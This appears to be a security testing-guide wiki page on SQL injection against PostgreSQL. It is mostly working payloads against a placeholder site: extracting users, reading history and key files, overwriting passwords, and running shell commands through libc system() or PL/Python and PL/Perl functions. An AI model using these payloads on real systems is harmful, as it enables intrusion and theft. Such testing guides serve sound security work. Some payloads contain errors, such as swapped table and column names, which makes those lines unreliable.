Revision as of 23:03, 22 August 2008

Short Description of the Issue

In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL. Keep in mind the following peculiarities:

• PHP Connector allows multiple statements to be executed by using ; as a statement separator
• SQL Statements can be truncated by appending the comment char: --.
• LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From here after, we suppose that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection attacks.

Black Box testing and example

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using :: cast operator.

Examples:

 http://www.example.com/store.php?id=1 AND 1::int=1

Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL Injection you should take in consideration internal provided functions:

• String Length

  LENGTH(str)

• Extract a substring from a given string

  SUBSTR(str,index,offset)

• String representation with no single quotes

  CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting from 8.2 PostgreSQL has introduced a built int function: pg_sleep(n) to make current session process sleep for n seconds.

On previous version you can easy create a custom pg_sleep(n) by using libc:

• CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Attack Vectors

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Reading from a file

ProstgreSQL provides two way to access local file:

• COPY statement
• pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between file and table. PostgreSQL engine access local FileSystem with postgres user rights.

Example:

 
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performi a UNION Query SQL Injection:

• retrieves number of rows previously added in file_store with COPY statement
• retrieve a row at time with UNION SQL Injection

Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

This function was introduced on PostgreSQL 8.1 and allow to read arbitrary file located inside DBMS data directory.

Examples:

• SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting COPY statement we can write to local filesystem with postgres user rights as well

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, tcl.

Dynamic Library

Until PostgreSQL 8.1 it was possible to add a custom function linked with libc:

• CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

• create a stdout table

  CREATE TABLE stdout(id serial, system_out text)

• executing a shell command redirecting it's stdout

  SELECT system('uname -a > /tmp/test')

• use a COPY statements to push output of previous command in stdout table

  COPY stdout(system_out) FROM '/tmp/test'

• retrieve output from stdout

  SELECT system_out FROM stdout

Example:

 
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

plpython

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG

• Check if PL/Python has been enabled on some databsae:

  SELECT count(*) FROM pg_language WHERE lanname='plpython'

• If not try to enable:

  CREATE LANGUAGE plpythonu

• If all of the above succeded create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu

• Have fun with:

  SELECT proxyshell(os command);

Example:

• Create a proxy shell function:

  /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--

• Run a OS Command:

  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allow to code PostgreSQL functions in perl. Normally is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system such as open. By doing so it's impossible to gain OS-level access. To successfully inject a proxyshell like function we need to install the untrusted version from postgres user to avoid the so called application mask filtering of trusted/untrusted operations.

• Check if PL/perl-untrusted has been enabled:

  SELECT count(*) FROM pg_language WHERE lanname='plperlu'

• If not assuming that sysadm has allready installed plperl package try :

  CREATE LANGUAGE plperlu

• If all of the above succeded create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>); LANGUAGE plperlu

• Have fun with:

  SELECT proxyshell(os command);

Example:

• Create a proxy shell function:

  /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;

• Run a OS Command:

  /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

References

OWASP : "Testing for SQL Injection" - http://www.owasp.org/index.php/Testing_for_SQL_Injection

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

Tools

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net